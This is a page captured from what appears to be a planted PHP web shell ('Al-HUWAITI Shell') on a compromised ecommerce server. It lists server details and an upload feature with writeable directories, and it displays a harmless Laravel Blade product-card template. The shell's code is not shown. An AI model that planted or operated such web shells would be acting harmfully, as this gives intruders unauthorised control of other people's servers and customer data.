Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/resources/views/frontend/partials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/resources/views/frontend/partials/list-product.blade.php
<!-- Single Weekly Product Card -->
<div class="col-12 col-md-6 mt-4">
    <div class="card horizontal-product-card">
        <div class="card-body d-flex align-items-center">
            <div class="product-thumbnail-side">
                @if ($product->created_at->diffInDays() < 10)
                    <!-- Badge--><span class="badge rounded-pill badge-success">New</span>
                @endif

                @if ($product->discount)
                    <!-- Badge--><span class="badge rounded-pill badge-danger">-{{ $product->discount }}%</span>
                    {{-- <!-- Badge --><span class="badge badge-success">Sale</span> --}}
                @endif

                @if (auth()->check())
                    @if ($inWishProducts->where('product_id', $product->id)->isEmpty())
                        <a title="Wishlist"
                            class="wishlist-btn"
                            href="{{ route('add-to-wishlist', $product->slug) }}"
                            data-id="{{ $product->id }}"
                            title="Add to Wishlist"
                        >
                            <i class=" ti-heart "></i>
                        </a>
                    @else
                        <a href="#0" style="color: #3CC78F !important" type="button"
                            class="wishlist-btn"
                            data-id="{{ $product->id }}"
                            title="Added to Wishlist"
                        >
                            <i class=" ti-heart "></i>
                        </a>
                    @endif
                @else
                    <!-- Wishlist Button-->
                    <a class="wishlist-btn"
                        href="{{ route('login.form', [
                            'redirect_uri' => route('add-to-wishlist', $product->slug),
                        ]) }}"
                        data-id="{{ $product->id }}"
                    >
                        <i class=" ti-heart "></i>
                        {{-- <span>Add to Wishlist</span> --}}
                    </a>
                @endif

                <!-- Thumbnail --><a class="product-thumbnail d-block" href="{{ route('product-detail', $product->slug) }}">
                    @php
                        $photo = explode(',', $product->photo);
                    @endphp
                    <img class="mb-2"
                        src="{{ Helper::imagePath($photo[0]) }}"
                        alt="{{ $photo[0] }}"
                    />
                </a>
            </div>
            <div class="product-description">
                <!-- Product Title --><a class="product-title d-block" href="{{ route('product-detail', $product->slug) }}">{{ $product->title }}</a>

                <!-- Price -->
                <p class="sale-price">
                    @if ($product->discount)
                        {!! config('shop.currency_symbol') !!} {{ number_format($product->discounted_price, 2) }}
                        <span>{!! config('shop.currency_symbol') !!} {{ number_format($product->price, 2) }}</span>
                    @else
                        {!! config('shop.currency_symbol') !!} {{ number_format($product->price, 2) }}
                    @endif
                </p>

                <!-- Rating -->
                <div class="product-rating"><i class="fa fa-star"></i>{{ ceil($product->reviews->avg('rate')) }} ({{ $product->reviews->count() }})</div>
                <!-- Buy Now Button --><a class="btn btn-success btn-sm" href="{{ route('add-to-cart', $product->slug) }}"><i
                        class="me-1 ti-plus"></i> Buy Now</a>
            </div>
        </div>
    </div>
</div>

Al-HUWAITI Shell